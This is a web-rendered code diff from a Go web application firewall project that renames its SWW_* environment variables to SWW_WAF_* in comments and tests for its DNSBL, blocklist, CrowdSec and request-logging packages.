// Zones returns the zones, in the order SWW_WAF_DNSBL_ZONES names them.
|
||||||
func (d *DNSBL) Zones() []string {
|
func (d *DNSBL) Zones() []string {
|
||||||
return slices.Clone(d.params.Zones)
|
return slices.Clone(d.params.Zones)
|
||||||
}
|
}
|
||||||
|
|
||||||
// ListedBy returns the zones whose verdict on addr, a client's address,
|
// ListedBy returns the zones whose verdict on addr, a client's address,
|
||||||
// lists it, in the order SWW_DNSBL_ZONES names them, each with its key
|
// lists it, in the order SWW_WAF_DNSBL_ZONES names them, each with its key
|
||||||
// masked, as config.MaskZoneKey masks it, since they go to the request
|
// masked, as config.MaskZoneKey masks it, since they go to the request
|
||||||
// log, the alerts and the metrics. A verdict is used until CacheTTL has
|
// log, the alerts and the metrics. A verdict is used until CacheTTL has
|
||||||
// passed since it was fetched. Each zone without one is asked about addr
|
// passed since it was fetched. Each zone without one is asked about addr
|
||||||
@@ -210,7 +210,7 @@ func (d *DNSBL) Snapshot() []Verdict {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Load keeps verdicts, read from reputation.json, in place of those it
|
// Load keeps verdicts, read from reputation.json, in place of those it
|
||||||
// keeps, but for those of a zone SWW_DNSBL_ZONES does not name, and,
|
// keeps, but for those of a zone SWW_WAF_DNSBL_ZONES does not name, and,
|
||||||
// past maxVerdicts, those fetched longest ago. One fetched CacheTTL ago or
|
// past maxVerdicts, those fetched longest ago. One fetched CacheTTL ago or
|
||||||
// more is neither used nor written, as for any verdict.
|
// more is neither used nor written, as for any verdict.
|
||||||
func (d *DNSBL) Load(verdicts []Verdict) {
|
func (d *DNSBL) Load(verdicts []Verdict) {
|
||||||
|
|||||||
@@ -40,8 +40,8 @@ const (
|
|||||||
// zone and otherZone are the DNSBL zones the tests name.
|
// zone and otherZone are the DNSBL zones the tests name.
|
||||||
zone = "dnsbl.example"
|
zone = "dnsbl.example"
|
||||||
otherZone = "other.example"
|
otherZone = "other.example"
|
||||||
// cacheTTL is the tests' SWW_REPUTATION_CACHE_TTL, and timeout their
|
// cacheTTL is the tests' SWW_WAF_REPUTATION_CACHE_TTL, and timeout their
|
||||||
// SWW_REPUTATION_TIMEOUT: a second, the least time /etc/resolv.conf
|
// SWW_WAF_REPUTATION_TIMEOUT: a second, the least time /etc/resolv.conf
|
||||||
// can have Go's resolver wait for one server, so that it is the
|
// can have Go's resolver wait for one server, so that it is the
|
||||||
// DNSBL's own timeout that ends a query, whatever that file says.
|
// DNSBL's own timeout that ends a query, whatever that file says.
|
||||||
cacheTTL = 24 * time.Hour
|
cacheTTL = 24 * time.Hour
|
||||||
@@ -419,7 +419,7 @@ func TestNeitherAVerdictOfAZoneNotNamedNorOnePastItsTTLIsKept(t *testing.T) {
|
|||||||
dnsbl := reputation.NewDNSBL(p)
|
dnsbl := reputation.NewDNSBL(p)
|
||||||
|
|
||||||
// The last verdict still in use, one fetched a TTL ago, and one of a
|
// The last verdict still in use, one fetched a TTL ago, and one of a
|
||||||
// zone SWW_DNSBL_ZONES does not name.
|
// zone SWW_WAF_DNSBL_ZONES does not name.
|
||||||
inUse := reputation.Verdict{
|
inUse := reputation.Verdict{
|
||||||
Zone: zone, Client: netip.MustParseAddr(listed), Listed: true,
|
Zone: zone, Client: netip.MustParseAddr(listed), Listed: true,
|
||||||
Fetched: now.Add(-cacheTTL + time.Nanosecond),
|
Fetched: now.Add(-cacheTTL + time.Nanosecond),
|
||||||
|
|||||||
@@ -1,11 +1,11 @@
|
|||||||
// Package reputation fetches the lists the settings name by URL: the
|
// Package reputation fetches the lists the settings name by URL: the
|
||||||
// blocklists of SWW_BLOCKLIST_URLS, the file of AS:percent lines
|
// blocklists of SWW_WAF_BLOCKLIST_URLS, the file of AS:percent lines
|
||||||
// SWW_ASN_LIMIT_PERCENT_URL names, the address lists of SWW_TAG_LISTS, and
|
// SWW_WAF_ASN_LIMIT_PERCENT_URL names, the address lists of SWW_WAF_TAG_LISTS, and
|
||||||
// the decision list of the CrowdSec engine SWW_CROWDSEC_LAPI_URL names. It
|
// the decision list of the CrowdSec engine SWW_WAF_CROWDSEC_LAPI_URL names. It
|
||||||
// keeps the last good copy of
|
// keeps the last good copy of
|
||||||
// each, whole, comment lines included, which is used while a fetch fails,
|
// each, whole, comment lines included, which is used while a fetch fails,
|
||||||
// and when each was last tried. It also asks the DNSBL zones of
|
// and when each was last tried. It also asks the DNSBL zones of
|
||||||
// SWW_DNSBL_ZONES about clients, and keeps their verdicts, and checks
|
// SWW_WAF_DNSBL_ZONES about clients, and keeps their verdicts, and checks
|
||||||
// clients with AbuseIPDB, and keeps their scores and the checks spent
|
// clients with AbuseIPDB, and keeps their scores and the checks spent
|
||||||
// today. The state package writes all of these to reputation.json and
|
// today. The state package writes all of these to reputation.json and
|
||||||
// reads them from it, so that a restart keeps them too.
|
// reads them from it, so that a restart keeps them too.
|
||||||
@@ -67,20 +67,20 @@ type List struct {
|
|||||||
|
|
||||||
// Params are what New needs.
|
// Params are what New needs.
|
||||||
type Params struct {
|
type Params struct {
|
||||||
// BlocklistURLs are the blocklists (SWW_BLOCKLIST_URLS), and
|
// BlocklistURLs are the blocklists (SWW_WAF_BLOCKLIST_URLS), and
|
||||||
// ASNLimitPercentURL the file of AS:percent lines
|
// ASNLimitPercentURL the file of AS:percent lines
|
||||||
// (SWW_ASN_LIMIT_PERCENT_URL), "" while it is unset.
|
// (SWW_WAF_ASN_LIMIT_PERCENT_URL), "" while it is unset.
|
||||||
BlocklistURLs []string
|
BlocklistURLs []string
|
||||||
ASNLimitPercentURL string
|
ASNLimitPercentURL string
|
||||||
// TagLists are the address lists that add a tag (SWW_TAG_LISTS).
|
// TagLists are the address lists that add a tag (SWW_WAF_TAG_LISTS).
|
||||||
TagLists []config.TagList
|
TagLists []config.TagList
|
||||||
// CrowdSecDecisionsURL is the CrowdSec decision list, "" while
|
// CrowdSecDecisionsURL is the CrowdSec decision list, "" while
|
||||||
// SWW_CROWDSEC_LAPI_URL is unset, fetched with CrowdSecKey
|
// SWW_WAF_CROWDSEC_LAPI_URL is unset, fetched with CrowdSecKey
|
||||||
// (SWW_CROWDSEC_LAPI_KEY).
|
// (SWW_WAF_CROWDSEC_LAPI_KEY).
|
||||||
CrowdSecDecisionsURL string
|
CrowdSecDecisionsURL string
|
||||||
CrowdSecKey string
|
CrowdSecKey string
|
||||||
// Refresh is how long after a list was last fetched or tried it is
|
// Refresh is how long after a list was last fetched or tried it is
|
||||||
// fetched again (SWW_BLOCKLIST_REFRESH), but for the CrowdSec decision
|
// fetched again (SWW_WAF_BLOCKLIST_REFRESH), but for the CrowdSec decision
|
||||||
// list, which is fetched again crowdSecRefresh after.
|
// list, which is fetched again crowdSecRefresh after.
|
||||||
Refresh time.Duration
|
Refresh time.Duration
|
||||||
// Now tells the time, normally time.Now in UTC.
|
// Now tells the time, normally time.Now in UTC.
|
||||||
@@ -155,7 +155,7 @@ func New(params Params) *Lists {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// URLs returns the URL of every list: the blocklists' in the order
|
// URLs returns the URL of every list: the blocklists' in the order
|
||||||
// SWW_BLOCKLIST_URLS names them, then SWW_ASN_LIMIT_PERCENT_URL, then the
|
// SWW_WAF_BLOCKLIST_URLS names them, then SWW_WAF_ASN_LIMIT_PERCENT_URL, then the
|
||||||
// tag lists', then the CrowdSec decision list's.
|
// tag lists', then the CrowdSec decision list's.
|
||||||
func (l *Lists) URLs() []string {
|
func (l *Lists) URLs() []string {
|
||||||
urls := slices.Clone(l.params.BlocklistURLs)
|
urls := slices.Clone(l.params.BlocklistURLs)
|
||||||
@@ -175,7 +175,7 @@ func (l *Lists) URLs() []string {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// ListedBy returns the URLs of the blocklists whose copy lists addr, in
|
// ListedBy returns the URLs of the blocklists whose copy lists addr, in
|
||||||
// the order SWW_BLOCKLIST_URLS names them.
|
// the order SWW_WAF_BLOCKLIST_URLS names them.
|
||||||
func (l *Lists) ListedBy(addr netip.Addr) []string {
|
func (l *Lists) ListedBy(addr netip.Addr) []string {
|
||||||
l.mu.Lock()
|
l.mu.Lock()
|
||||||
defer l.mu.Unlock()
|
defer l.mu.Unlock()
|
||||||
|
|||||||
@@ -34,8 +34,8 @@ const (
|
|||||||
dropURL = "https://lists.example/drop.txt"
|
dropURL = "https://lists.example/drop.txt"
|
||||||
torURL = "https://lists.example/tor.txt"
|
torURL = "https://lists.example/tor.txt"
|
||||||
asnURL = "https://lists.example/asn.txt"
|
asnURL = "https://lists.example/asn.txt"
|
||||||
// refresh is the tests' SWW_BLOCKLIST_REFRESH, and cooldown their
|
// refresh is the tests' SWW_WAF_BLOCKLIST_REFRESH, and cooldown their
|
||||||
// SWW_ALERT_COOLDOWN, longer than it.
|
// SWW_WAF_ALERT_COOLDOWN, longer than it.
|
||||||
refresh = 24 * time.Hour
|
refresh = 24 * time.Hour
|
||||||
cooldown = 48 * time.Hour
|
cooldown = 48 * time.Hour
|
||||||
// drop is a blocklist as the Spamhaus DROP list is written, with an
|
// drop is a blocklist as the Spamhaus DROP list is written, with an
|
||||||
@@ -116,7 +116,7 @@ func TestClientIsListedByEachBlocklistThatListsIt(t *testing.T) {
|
|||||||
}}
|
}}
|
||||||
lists := start(t, servers, params(torURL, dropURL))
|
lists := start(t, servers, params(torURL, dropURL))
|
||||||
|
|
||||||
// In the order SWW_BLOCKLIST_URLS names them.
|
// In the order SWW_WAF_BLOCKLIST_URLS names them.
|
||||||
wantListedBy(t, lists, "203.0.113.9", torURL, dropURL)
|
wantListedBy(t, lists, "203.0.113.9", torURL, dropURL)
|
||||||
wantListedBy(t, lists, "203.0.113.8", dropURL)
|
wantListedBy(t, lists, "203.0.113.8", dropURL)
|
||||||
})
|
})
|
||||||
|
|||||||
@@ -43,17 +43,17 @@ const (
|
|||||||
ActionBlockedByBlockRule = "blocked_by_block_rule"
|
ActionBlockedByBlockRule = "blocked_by_block_rule"
|
||||||
|
|
||||||
// ActionBlockedByCoreRuleSet is a request refused because the Core Rule
|
// ActionBlockedByCoreRuleSet is a request refused because the Core Rule
|
||||||
// Set scored it at or over SWW_WAF_ANOMALY_THRESHOLD.
|
// Set scored it at or over SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD.
|
||||||
ActionBlockedByCoreRuleSet = "blocked_by_core_rule_set"
|
ActionBlockedByCoreRuleSet = "blocked_by_core_rule_set"
|
||||||
|
|
||||||
// ActionClientDenied is a request refused because its client is in
|
// ActionClientDenied is a request refused because its client is in
|
||||||
// SWW_DENY_NETS, in a blocklist while SWW_BLOCKLIST_ACTION is deny,
|
// SWW_WAF_DENY_NETS, in a blocklist while SWW_WAF_BLOCKLIST_ACTION is deny,
|
||||||
// or listed by a DNSBL zone, or scored a hit by AbuseIPDB, while
|
// or listed by a DNSBL zone, or scored a hit by AbuseIPDB, while
|
||||||
// SWW_REPUTATION_ACTION is deny, or that carries a tag in SWW_TAG_DENY.
|
// SWW_WAF_REPUTATION_ACTION is deny, or that carries a tag in SWW_WAF_TAG_DENY.
|
||||||
ActionClientDenied = "client_denied"
|
ActionClientDenied = "client_denied"
|
||||||
|
|
||||||
// ActionCountryDenied is a request refused because its client's country
|
// ActionCountryDenied is a request refused because its client's country
|
||||||
// is not in SWW_EXCLUSIVELY_ALLOWED_COUNTRIES.
|
// is not in SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES.
|
||||||
ActionCountryDenied = "country_denied"
|
ActionCountryDenied = "country_denied"
|
||||||
// ActionOwnEndpoint is a request discriminator answered at one of its own
|
// ActionOwnEndpoint is a request discriminator answered at one of its own
|
||||||
// endpoints, or a question about a path under /_sww/.
|
// endpoints, or a question about a path under /_sww/.
|
||||||
@@ -125,7 +125,7 @@ type Line struct {
|
|||||||
ContentType string `json:"content_type,omitempty"`
|
ContentType string `json:"content_type,omitempty"`
|
||||||
// ContentLength is the length of its body the request announced.
|
// ContentLength is the length of its body the request announced.
|
||||||
ContentLength int64 `json:"content_length,omitempty"`
|
ContentLength int64 `json:"content_length,omitempty"`
|
||||||
// RequestHeaders are the headers SWW_LOG_REQUEST_HEADERS names that
|
// RequestHeaders are the headers SWW_WAF_LOG_REQUEST_HEADERS names that
|
||||||
// the request carried, by name in lower case.
|
// the request carried, by name in lower case.
|
||||||
RequestHeaders map[string]string `json:"request_headers,omitempty"`
|
RequestHeaders map[string]string `json:"request_headers,omitempty"`
|
||||||
HasAuthorization bool `json:"has_authorization,omitempty"`
|
HasAuthorization bool `json:"has_authorization,omitempty"`
|
||||||
@@ -188,7 +188,7 @@ type Line struct {
|
|||||||
Reputation []string `json:"reputation,omitempty"`
|
Reputation []string `json:"reputation,omitempty"`
|
||||||
// Tags are the request's tags, sorted.
|
// Tags are the request's tags, sorted.
|
||||||
Tags []string `json:"tags,omitempty"`
|
Tags []string `json:"tags,omitempty"`
|
||||||
// RouteWatchTagsMissing, while SWW_ROUTEWATCH_URL is set, says why the
|
// RouteWatchTagsMissing, while SWW_WAF_ROUTEWATCH_URL is set, says why the
|
||||||
// request got no tags from routewatch: no_answer_yet, request_failed or
|
// request got no tags from routewatch: no_answer_yet, request_failed or
|
||||||
// no_route.
|
// no_route.
|
||||||
RouteWatchTagsMissing string `json:"routewatch_tags_missing,omitempty"`
|
RouteWatchTagsMissing string `json:"routewatch_tags_missing,omitempty"`
|
||||||
@@ -232,7 +232,7 @@ type RProxyLine struct {
|
|||||||
DurationRequestMS float64 `json:"duration_request_ms"`
|
DurationRequestMS float64 `json:"duration_request_ms"`
|
||||||
DurationResponseMS float64 `json:"duration_response_ms"`
|
DurationResponseMS float64 `json:"duration_response_ms"`
|
||||||
// Disposition is the valid disposition discriminator answered or, while
|
// Disposition is the valid disposition discriminator answered or, while
|
||||||
// DefaultDisposition is true, the value of SWRP_DEFAULT_DISPOSITION. It is ""
|
// DefaultDisposition is true, the value of SWW_RPROXY_DEFAULT_DISPOSITION. It is ""
|
||||||
// when neither gave one.
|
// when neither gave one.
|
||||||
Disposition string `json:"disposition,omitempty"`
|
Disposition string `json:"disposition,omitempty"`
|
||||||
DefaultDisposition bool `json:"default_disposition,omitempty"`
|
DefaultDisposition bool `json:"default_disposition,omitempty"`
|
||||||
@@ -284,8 +284,8 @@ func Milliseconds(d time.Duration) float64 {
|
|||||||
|
|
||||||
// NewProcessLogger returns the logger for the process's own messages:
|
// NewProcessLogger returns the logger for the process's own messages:
|
||||||
// JSON lines on w, marked "type":"process", with the time in the same form
|
// JSON lines on w, marked "type":"process", with the time in the same form
|
||||||
// as a request line's, and instanceName, SWW_INSTANCE_NAME, as instance.
|
// as a request line's, and instanceName, SWW_WAF_INSTANCE_NAME, as instance.
|
||||||
// It writes only the messages at level, SWW_LOG_LEVEL, or more severe;
|
// It writes only the messages at level, SWW_WAF_LOG_LEVEL, or more severe;
|
||||||
// the request lines Write writes are never held back.
|
// the request lines Write writes are never held back.
|
||||||
func NewProcessLogger(
|
func NewProcessLogger(
|
||||||
w io.Writer,
|
w io.Writer,
|
||||||
|
|||||||
Loaded 100 of 120 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user